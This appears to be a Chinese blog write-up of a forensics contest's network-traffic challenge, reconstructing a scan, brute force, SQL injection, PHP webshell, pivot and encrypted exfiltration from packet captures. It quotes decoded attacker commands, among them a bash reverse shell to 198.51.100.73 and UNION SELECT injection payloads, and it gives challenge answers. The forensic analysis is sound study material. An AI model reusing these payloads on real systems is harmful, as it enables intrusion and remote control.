2026精武杯-流量分析
原创
Jerry599
Jerry599
JerryXie的记录小站
2026年10月17日 11:18
上海
去阅读
前言
精武杯的时间是非常紧的,需要wireshark,同时要结合借助比wireshark更可视化的分析软件/工具,这里我使用了lovelyspark,也可以用其他软件代替。
我会根据做题的思路调整答题的顺序,我会写上原题的序号。
检材中出现了tlslog日志,这里需要把这个导入到lovelyspark当中
wireshark是在编辑%20→%20首选项%20→%20Protocols%20→%20TLS中把key文件替换掉
链路一:侦察与扫描
151.%20入侵者IP地址是什么?(答案格式:192.168.1.1)
结合webshell、命令执行等情况可以确认是198.51.100.73->10.23.4.20的攻击情况,所以攻击方是198.51.100.73
152.%20在本次入侵事件中作为最终落点被攻陷的主机%20IP%20地址是什么?(答案格式:192.168.1.1)
分析同上
10.23.4.20
153.%20在本次扫描事件中,目标主机开放了(响应%20SYN/ACK%20的)TCP%20端口总共有多少个?(答案格式:1)
用lovelyspark直接看
或者用wireshark搜tcp.flags.syn==1%20&&%20tcp.flags.ack==1%20&&%20ip.src==10.23.4.20%20&&%20ip.dst==198.51.100.73(tcp响应标志位+攻击方/被攻击方)
看会话统计
一共6个
链路二:登录爆破
154.%20爆破工具使用的字典是什么?(答案格式:tuojie.txt)
爆破这个一般是在猜测密码/用户名等情况下出现的,一般来说字典是一个\*.txt
可以直接在wireshark中走字符串.txt
rockyou.txt很明显是一个爆破字典,追踪一下http流
发现确实是针对登录页面的爆破
rockyou.txt
155.%20爆破请求的服务端统一返回的状态码是什么?(答案格式:1234)
上面那种图片已经有了 401
链路三:SQL注入与横向移动
题目有提及注入,以下是sql输入相关行为的解析:
注入一般猜测为sql注入
先可以定位一下sql注入的地方
只解析出来一个sql注入包,追踪之后发现其实也没啥%20响应头也是403,猜测这个sql注入不是明文的,可能存在加密/编码。
这个时候用查询语句,非明文注入是用的post,源/目的ip确认,语句如下:
(http.request.method%20contains%20\"POST\"%20and%20ip.dst%20==%2010.23.4.20%20and%20ip.src%20==%20198.51.100.73)
前面有大量的之前用rockyou爆破的包,拉到最后能看到其他几个包
追踪爆破完的一个包:
解码结果1')%20UNION%20SELECT%20database(),upload_route,service_user%20FROM%20archive_jobs--%20-
所以这个就是一个注入的包。
158.%20攻击者最终桥接到的目标数据库名是什么?(答案格式:abc\_123)
题目里面有提示了%20桥接,所以要去看桥接到的数据库;还是上面的那个包
assetledger
这是第一层的web层的数据库,要看内网的数据库
WebShell连接之后发现被控主机起了一个到内网的监听端口,所以就看被攻击机和内网机的流量了,首先筛选非攻击机之间的流量:(ip.addr%20==%2010.23.4.20%20and%20not%20(ip.dst%20==%20198.51.100.73))
然后按照上面的包的样式,猜测是一样的注入手法,所以包样式也应该差不多,直接搜索一下database
追踪一下:
发现这是一个类似的注入一个包%20而且出现在webshell包之后;解码一下ledger_key的内容,发现
仍然是一个sql注入,说明这是攻击者利用被攻击机作为跳板机对内网的服务器数据库进行的注入,所以目标数据库认为是ledger_vault。
同时发现下面的meta界面的mask=HMAC-SHA256(bridge_key,label);和一个next下一跳的url
这里可以注意一下,后面162线有用
156.%20注入参数是什么?(答案格式:abc\_123)
这道题应该放在这个位置,根据上面的分析来看答案就是ledger_key
157.%20注入端口是什么?(答案格式:666)
看该响应包的源端口,答案是9443
流量包中sql注入和跳板机利用行为
这块其实考的就是跳板/横向移动,我简单说一下我的理解。
先画个拓扑帮助理解,攻击者其实分了两步走:
攻击者%20198.51.100.73
%20 %20│%20第①步:直接打%20web(SQL注入+传马)
%20 %20▼
Web服务器%2010.23.4.20(被控,库叫%20assetledger)
%20 %20│%20第②步:被控机主动去连内网(这就是\"桥\")
%20 %20▼
analytics-b%2010.23.5.31:9443(内网服务,库叫%20ledger_vault)
analytics-b%20是内网服务,外网直接摸不到。攻陷%20web%20之后攻击者就借这台机器当跳板去访问它——web%20服务器就是中间那座\"桥\"。
验证一下:过滤 ip.addr==10.23.5.31%20&&%20tcp.flags.syn==1%20&&%20tcp.flags.ack==0,看%204%20个%20SYN%20的源%20IP——全是 10.23.4.20,攻击者%20IP%20一次都没出现过。这就是横向移动在流量里的样子:攻击者的手已经换成了受害主机。
再过滤 ip.addr==10.23.5.31%20&&%20http 就能看到桥上的请求和响应(要先配好%20keylog)。
桥上其实有两次注入,拿一个表对比一下:
| 第一次 | 第二次(桥上) | |
|---|---|---|
| 谁发的 | 攻击者直接发 | 被控的%2010.23.4.20%20发 |
| 接口 | /api/reports/render |
/v5/ledger/query |
| 参数 | view_token |
ledger_key |
| 语句 | 1')%20UNION%20SELECT%20database(),... |
0%20UNION%20SELECT%20secret_ref,...FROM%20vault_routes |
| 库名 | assetledger | ledger\_vault |
第一次注入的 database() 就是问\"你现在连的是哪个库\"——答案是脚下的%20assetledger。第二次是穿过桥后在%20analytics-b%20那边执行的,拿到的%20ledger\_vault%20是桥另一头的库。
题目问\"最终桥接到的\"——\"桥接\"排了%20assetledger(直连就能拿到),\"最终\"排了第一次的结果,所以是%20ledger\_vault。
桥上的四对请求是一条链,每步的响应都带 next 指向下一步:
POST%20/v5/ledger/query%20 %20→%20{\"database\":\"ledger_vault\", \"next\":\"/v5/sync/234b…\",%20blob,%20label}
GET%20 /v5/sync/234b…%20 %20 %20→%20{\"next\":\"/v5/cache/448a…\",%20meta:\"seed=…公式…\"}
GET%20 /v5/cache/448a…%20 %20 →%20{\"blob\":\"hir_…\",%20meta:\"key=SHA256…;nonce=BLAKE2s…\"}
GET%20 /v5/export/c3818f…%20→%20{\"ciphertext\":96字节密文, \"tag\":…, \"aad\":\"node=…;port=9443;schema=5\"}
前两步有 next 指路,最后一步的%20export%20路径没有 next——是我们验证过的:攻击者自己算出来的(sha1(token) 前%2016%20位%20= c3818f4fa556cc3d)。
链路四:WebShell%20控制
159.%20攻击者上传的%20WebShell%20文件名(含扩展名)是什么?(答案格式:tuojie\_2026.jsp)
**avatar_20260918.php**
完整webshell包及解码
找到php相关的几个包(过滤之后追踪相关的包即可,前几个包追踪结果和后几个包不一样的,要多追踪几个)
POST%20/media/2026/09/.cache/avatar_20260918.php%20HTTP/1.1
Host:%20intranet.corp.local
User-Agent:%20Mozilla/5.0%20(Windows%20NT%2010.0;%20Win64;%20x64)%20AppleWebKit/537.36
Accept:%20application/json,text/html;q=0.9,*/*;q=0.8
Connection:%20keep-alive
Content-Type:%20application/x-www-form-urlencoded
Content-Length:%2013
_task=aWQ&r=0%20 %20 %20<-%20id
HTTP/1.1%20200%20OK
Server:%20nginx/1.26.2
Content-Type:%20text/plain
Content-Length:%2071
Connection:%20keep-alive
Cache-Control:%20private,%20max-age=0
X-Output-Encoding:%20base64url
dWlkPTMzKHd3dy1kYXRhKSBnaWQ9MzMod3d3LWRhdGEpIGdyb3Vwcz0zMyh3d3ctZGF0YSk%20<-%20uid=33(www-data)%20gid=33(www-data)%20groups=33(www-data)
POST%20/media/2026/09/.cache/avatar_20260918.php%20HTTP/1.1
Host:%20intranet.corp.local
User-Agent:%20Mozilla/5.0%20(Windows%20NT%2010.0;%20Win64;%20x64)%20AppleWebKit/537.36
Accept:%20application/json,text/html;q=0.9,*/*;q=0.8
Connection:%20keep-alive
Content-Type:%20application/x-www-form-urlencoded
Content-Length:%2024
_task=c3VkbyAtbiAtbA&r=1%20<-%20sudo%20-n%20-l
HTTP/1.1%20200%20OK
Server:%20nginx/1.26.2
Content-Type:%20text/plain
Content-Length:%2038
Connection:%20keep-alive
Cache-Control:%20private,%20max-age=0
X-Output-Encoding:%20base64url
c3VkbzogYSBwYXNzd29yZCBpcyByZXF1aXJlZA%20<-%20sudo:%20a%20password%20is%20required
POST%20/media/2026/09/.cache/avatar_20260918.php%20HTTP/1.1
Host:%20intranet.corp.local
User-Agent:%20Mozilla/5.0%20(Windows%20NT%2010.0;%20Win64;%20x64)%20AppleWebKit/537.36
Accept:%20application/json,text/html;q=0.9,*/*;q=0.8
Connection:%20keep-alive
Content-Type:%20application/x-www-form-urlencoded
Content-Length:%2061
_task=Y3VybCAtayBodHRwczovLzEwLjIzLjUuMzE6OTQ0My9oZWFsdGg&r=2%20<-curl%20-k%20https://10.23.5.31:9443/health
HTTP/1.1%20200%20OK
Server:%20nginx/1.26.2
Content-Type:%20text/plain
Content-Length:%2023
Connection:%20keep-alive
Cache-Control:%20private,%20max-age=0
X-Output-Encoding:%20base64url
YW5hbHl0aWNzLWIgcmVhZHk%20<-%20analytics-b%20ready
POST%20/media/2026/09/.cache/avatar_20260918.php%20HTTP/1.1
Host:%20intranet.corp.local
User-Agent:%20Mozilla/5.0%20(Windows%20NT%2010.0;%20Win64;%20x64)%20AppleWebKit/537.36
Accept:%20application/json,text/html;q=0.9,*/*;q=0.8
Connection:%20keep-alive
Content-Type:%20application/x-www-form-urlencoded
Content-Length:%20134
_task=YXJjaGl2ZS1tYWludCAtLWVsZXZhdGUgLS1wcm9vZiAyOWYzOThlMzcyY2QzOWNhNmViYjMzMjdmNzUzODRlYzk1YTBlNGI5ZmIzZTc1YmEzMjhjOGI2NWY5MWE5MzIz%20<-%20archive-maint%20--elevate%20--proof%2029f398e372cd39ca6ebb3327f75384ec95a0e4b9fb3e75ba328c8b65f91a9323(这里就是在提权了)
HTTP/1.1%20200%20OK
Server:%20nginx/1.26.2
Content-Type:%20text/plain
Content-Length:%2051
Connection:%20keep-alive
Cache-Control:%20private,%20max-age=0
X-Output-Encoding:%20base64url
dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCk%20<-%20uid=0(root)%20gid=0(root)%20groups=0(root)%20(提权了)
POST%20/media/2026/09/.cache/avatar_20260918.php%20HTTP/1.1
Host:%20intranet.corp.local
User-Agent:%20Mozilla/5.0%20(Windows%20NT%2010.0;%20Win64;%20x64)%20AppleWebKit/537.36
Accept:%20application/json,text/html;q=0.9,*/*;q=0.8
Connection:%20keep-alive
Content-Type:%20application/x-www-form-urlencoded
Content-Length:%2078
_task=YmFzaCAtYyAnYmFzaCAtaSA-JiAvZGV2L3RjcC8xOTguNTEuMTAwLjczLzQ5MTUyIDA-JjEn%20<-%20bash%20-c%20'bash%20-i%20>&%20/dev/tcp/198.51.100.73/49152%200>&1'(开反弹shell)
HTTP/1.1%20200%20OK
Server:%20nginx/1.26.2
Content-Type:%20text/plain
Content-Length:%208
Connection:%20keep-alive
Cache-Control:%20private,%20max-age=0
detached
160.%20WebShell落地后初始UID是什么?(答案格式:123)
这里要追查一下数据包:http.request.uri%20contains%20\"avatar_20260918\"看一下这个webshell:
追踪一下第一个包的http流
aWQ解码就是id,返回的就是当前角色uid和权限,发现这个是一个web权限
所以uid=33
170.%20WebShell以低权限运行命令失败时,返回的原始错误消息是什么?(答案格式:以实际为准)
sudo:%20a%20password%20is%20required
166.%20WebShell%20提权成功后,最终获得的%20UID%20是多少?(答案格式:1)
0
163.%20WebShell提权后建立的最终反向Shell连接到哪个攻击者地址?(答案格式:含端口号,如192.168.1.1:1234)
前面解码里面有
198.51.100.73:49152
165.%20WebShell上传成功后,服务器端实际保存的绝对路径是什么?(答案格式:如/etc/config/123.txt)
前面
链路五:外传文件与密码学链路
162.%20经过多层密码学链路破解后,从受害主机外传出去的那个文件的%20SHA256%20哈希值是什么?(答案格式:英文小写)
除了get、post以外,本题还有额外的方法就是put(resp不是标准方法),作用是上传/替换
细看一下put方法的10个包:
这是在上传一个文件,而且是分成了9个包上传(顺序按照Content-Range来),按照顺序,用winhex拼起来之后算sha256:7b9c1bff7896aec4b5cbf53cd1ee7fb7b9aeac35e66b482f24434b9aba26bf0f
如果把这个sha256的值再去查查
能够发现后面攻击者又向机子发了一个确认包,对得上,文件的sha256也是7b9c1bff7896aec4b5cbf53cd1ee7fb7b9aeac35e66b482f24434b9aba26bf0f.
所以说第二种办法就是知道put的url之后,直接搜索相关url的包:
就能直接看到了
这个是解密前的文件的sha256
前面的完整的二进制的文件中有upload、build等等字样,结合相关的包(比如前面那个最后发的校验包)来看
我们可以发现一个键值对X-Client-Build:%209d31,可以查一查相关的标识、参数,作为url出现过
搜一下相关的url
看到%2010.23.8.19%20下载了大量 cache-worker.<hash>.<0/1/2>.js 文件,其中三个文件名包含 9d31:
cache-worker.9d31.0.js(帧%2053978)cache-worker.9d31.1.js(帧%2063366)cache-worker.9d31.2.js(帧%2082394)
如果去深挖一下这个包,能发现他一个编号对应三个js,把这三个js拿出来发现这个是一个加密的代码,需要三个参数
//%209d31.0%20 XOR%20解密函数%20x(a,s)(a%20与%20SHA256(s)%20异或)
const x=(a,s)=>{let h=S256(s);return a.map((v,i)=>v^h[i&31])};const c=a=>[a.slice(0,12),a.slice(12)];
//%209d31.1%20盐%20z%20=%20服务器证书的%20SHA256%20前%2016%20字节(TLS%20握手里明文就有证书),info%20q%20=%20固定字符串%20'intranet.corp.local|asset-v4'
const z=S256(peerCertificateDER).slice(0,16),q='intranet.corp.local|asset-v4';
//%209d31.2%20密钥派生%20=%20HKDF-SHA256(拼接的三个share,%20z,%20q,%2044)%20→%20前%2032%20字节是%20key,后%2012%20字节是%20nonce
const o=HKDF_SHA256(concat(a,b,c),z,q,44),key=o.slice(0,32),nonce=o.slice(32,44);
这里是三个加密算法,当中有三个变量,分别是a,b,c,但是这里只拿到了一个变量名,没找到对应的值。
这个时候我们回到前面的webshell中看一下,他对10.23.5.31进行了探活
同时也对10.23.5.31进行了注入
这个时候我们追踪一下上面提到的next%20url%20发现
他的meta解码是seed=share1||share2||share3||bridge_key||analytics-b.corp.local:9443|ledger-v5;,同时给了下一跳的地址,追踪一下
key=SHA256(\"key|\"||seed);nonce=BLAKE2s-96(\"nonce|\"||seed),至此我们有了一下线索:
完整的派生公式出来了:share₁/share₂/share₃%20+%20bridge_key%20→%20seed%20→%20key%20和%20nonce,但还是不知道%20share%20的值,接下来的目标就是找share的值/解密算法
解密算法
CSS->GIF->DNS
其实这个点卡了我很久,这个时候我先看了一下文件提取%20有好多gif,涉及到/media/p这个url
我们来看一下这个gif的响应,发现这个根本就不是一个正常的gif,同时响应头有cache和rev
同时来看一下在http响应中同时搜出来的css:
发现css通过url来引用gif
如果我们再搜一下gif响应头中的任意一个cache的值:
在dns中发现了相关字段,追踪UDP:
其实到这里追到dns之后基本上就能大致猜到这玩意要干啥了,就是要藏数据,一般来说dns查询等操作是不会被拦的,这个时候如果把所有拥有这个cache值的dns解析都拉出来:
dns.qry.name%20contains%20\"b5ac1c14c577f616\"%20&&%20ip.src==10.23.9.77
这里能发现8个包,经过多轮尝试之后带线这个前缀的最后一个字节:
3041d31dn.b5ac1c14c577f616.cache.corp.local
febde0c82.b5ac1c14c577f616.cache.corp.local
...
n2...是一串被base32编码的值,解码之后发现是一个16字节的二进制数据
import base64
s%20= \"n2wer2nfcr3sw55vtidv6eilye\"
data%20=%20base64.b32decode(s.upper()%20+ \"=\" *%20(-len(s)%20% 8))
#%20data%20=%206eac48e9a514772b77b59a075f110bc1(16字节)
好了现在手上有三样东西:CSS%20的%20ETag、GIF%20的%20Cookie、还有%20DNS%20拼出来的那段字母。再结合前面%209d31%20那三个%20js%20里的解密配方,可以开始动手了。
先把%209d31.0%20的%20x%20函数翻译成人话:拿一段数据和一串字符串,对字符串做%20SHA256%20得到%2032%20字节的密钥流,然后拿密钥流循环跟数据逐字节异或,就还原出明文了。
这里最坑的地方是:三段数据的%20s%20不是同一个值。第一段用%20CSS%20路径,第二段用%20GIF%20文件名(去掉路径和%20.gif),第三段用 Cookie 的原始文本。搞混了就全废。
拿 Python 解:
from hashlib import sha256
import base64
def xor(a, s):
m = sha256(s.encode()).digest()
return bytes(v ^ m[i % 32] for i, v in enumerate(a))
# 第一段:CSS ETag,hex 解码,掩码用 CSS 路径
etag = bytes.fromhex(\"580f00ffbec6c5bd3678c9551fa586\")
a = xor(etag, \"/assets/theme/b1f1a65a2538a0111da8.css\")
# 第二段:GIF Cookie,base64url 解码,掩码用 GIF 文件名
cookie = base64.urlsafe_b64decode(\"i90bkNTvtwIWcdqzBuhTAA==\")
b = xor(cookie, \"fe1d61ca2d8764a725\")
# 第三段:DNS 字母,base32 解码,掩码用 Cookie 文本
from base64 import b32decode
dns = b32decode(\"N2WER2NFCR3SW55VTIDV6EILYE==\")
c = xor(dns, \"i90bkNTvtwIWcdqzBuhTAA\")
# 结果
a[:12] # 1579f8e64d285d13cd11919b
b[:12] # f81774a49d41f399aaf94c63
c[:12] # 96a01b7920fe88ec991e2bd8
# 尾部拼起来是 AES + -256 + -GCM = AES-256-GCM ← 外层加密算法!
前 12 字节拼起来拿去 HKDF:
from cryptography.hazmat.primitives.kdf.hkdf import HKDF
from cryptography.hazmat.primitives import hashes
salt = sha256(open(\"cert.der\", \"rb\").read()).digest()[:16]
# = 68dda8bd336ce67aac3356e7e0cf42ac
ikm = a[:12] + b[:12] + c[:12]
okm = HKDF(algorithm=hashes.SHA256(), length=44, salt=salt,
info=b\"intranet.corp.local|asset-v4\").derive(ikm)
key, nonce = okm[:32], okm[32:]
然后拿着这个 key 和 nonce 去解密 OL4 容器(就是前面重组的 356 字节文件)。这里要注意一下容器的结构:[10:26] 那 16 字节是 AES-GCM 的认证 tag,[26:68] 那 42 字节是 AEAD 的 AAD,[68:] 才是密文。
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
plain = AESGCM(key).decrypt(nonce, ct + tag, aad)
解出来的 JSON 里有 bridge_key 和 exfiltration.sha256——162 的答案就写在里面。
161. 最终密码的加密算法是什么?(答案格式:Abc-Abc123)
用 bridge\_key 解内层掩码
算法:XOR HMAC-SHA256(bridge_key, label)(来自 /v5 响应的 meta 公式)
包:帧 86255、86655、87315 的三个 /v5 响应
bridge_key = \"84007d9d...\" (从上一步解密结果里拿到的,hex 解码为 32 字节)
share₁ = blob₁ XOR HMAC-SHA256(bridge_key, label₁)
= 17d5ba4c... XOR HMAC-SHA256(84007d9d..., \"dfc37e757b66bc68e3\")
= fc9ce43d2d5ff60360356b1f | \"CHACHA\"
share₂ = Cookie XOR HMAC-SHA256(bridge_key, label₂)
= _pmWnmM6... XOR HMAC-SHA256(84007d9d..., \"234b523e162bff13b8\")
= 47a85330d474ef6be424ac54 | \"20-POLY\"
share₃ = blob₂ XOR HMAC-SHA256(bridge_key, label₃)
= hir_pUsl... XOR HMAC-SHA256(84007d9d..., \"448a6637154467ca6f\")
= 87466ecc435d17399fbf6ef7 | \"1305\"
尾部拼起来 = \"CHACHA20-POLY1305\" ← 161 的答案!
167. 解密密码的密钥是什么?(答案格式:以实际为准,如abc123)
派生最终密钥
算法:SHA256 + BLAKE2s(来自 /v5 响应的 meta 公式)
seed = share₁[:12] + share₂[:12] + share₃[:12] + bridge_key + \"analytics-b.corp.local:9443|ledger-v5\"
= 105 字节
key = SHA256(\"key|\" + seed) = b064a60c4956c60cbe46868dfedcd0342fc8790d0223e352118752a2415caa26 ← 167 的答案
nonce = BLAKE2s(\"nonce|\" + seed, digest_size=12) = c46263afc4efa01e992bb176
⚠️ digest_size=12 ≠ .digest()[:12],结果完全不同!
164. 经过完整破解链路后,最终还原出的真实明文密码是什么?(答案格式:以实际为准)
解密 export 密文
算法:ChaCha20-Poly1305(第 6 步尾部拼出来的)
包:帧 87783 的响应
ciphertext: \"rWGT-VrvPAJ5...\" (96字节, Base64URL)
tag: \"10a1584f...\" (16字节, hex)
aad: \"bm9kZT1h...\" (Base64URL → \"node=analytics-b.corp.local;port=9443;schema=5\")
from cryptography.hazmat.primitives.ciphers.aead import ChaCha20Poly1305
pt = ChaCha20Poly1305(key).decrypt(nonce, ct + tag, aad)
# 注意:密文参数 = ct + tag 拼在一起
解密结果:
{\"marker\":\"NETLAB-V3::ONLY-PASSWORD\",\"username\":\"svc_archive\",\"password\":\"R0tate!Only-One_2026\"}
R0tate!Only-One_2026→ 164 的答案!
链路六:流量统计与候选链
168. TLS重传数据包共有多少个?(含乱序包,答案格式:1234)
这里就三个点 一个是重传、一个是乱序
tcp.analysis.retransmission || tcp.analysis.out_of_order
2200个
169. 有效候选链客户端IP是什么?(答案格式:192.168.1.1)
...
前面解题算法那一段的那个dns相关的有写:10.23.9.77
结语
最近做了两套比较新的取证题的流量题目,现在的流量题再也不是简单的搜索、分离文件等流程就能解出来了,这套题这种感觉很深。但是我还是想吐槽一下这个精武杯的赛制有点新颖,流量题被放在了最后,我相信没有几支队伍能很全面的把这个流量题看完。
这套题的出题的顺序根本不是按照做题思路来的,甚至说是有点混乱的,题目的引导性很差、题目表述容易引起歧义(算好没有禁止ai,不然做起来会很累很累);抛开整体性而言,有几道题目出的还是比较有意思的(比如说三层css->gif->dns那几道),值得一做。
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论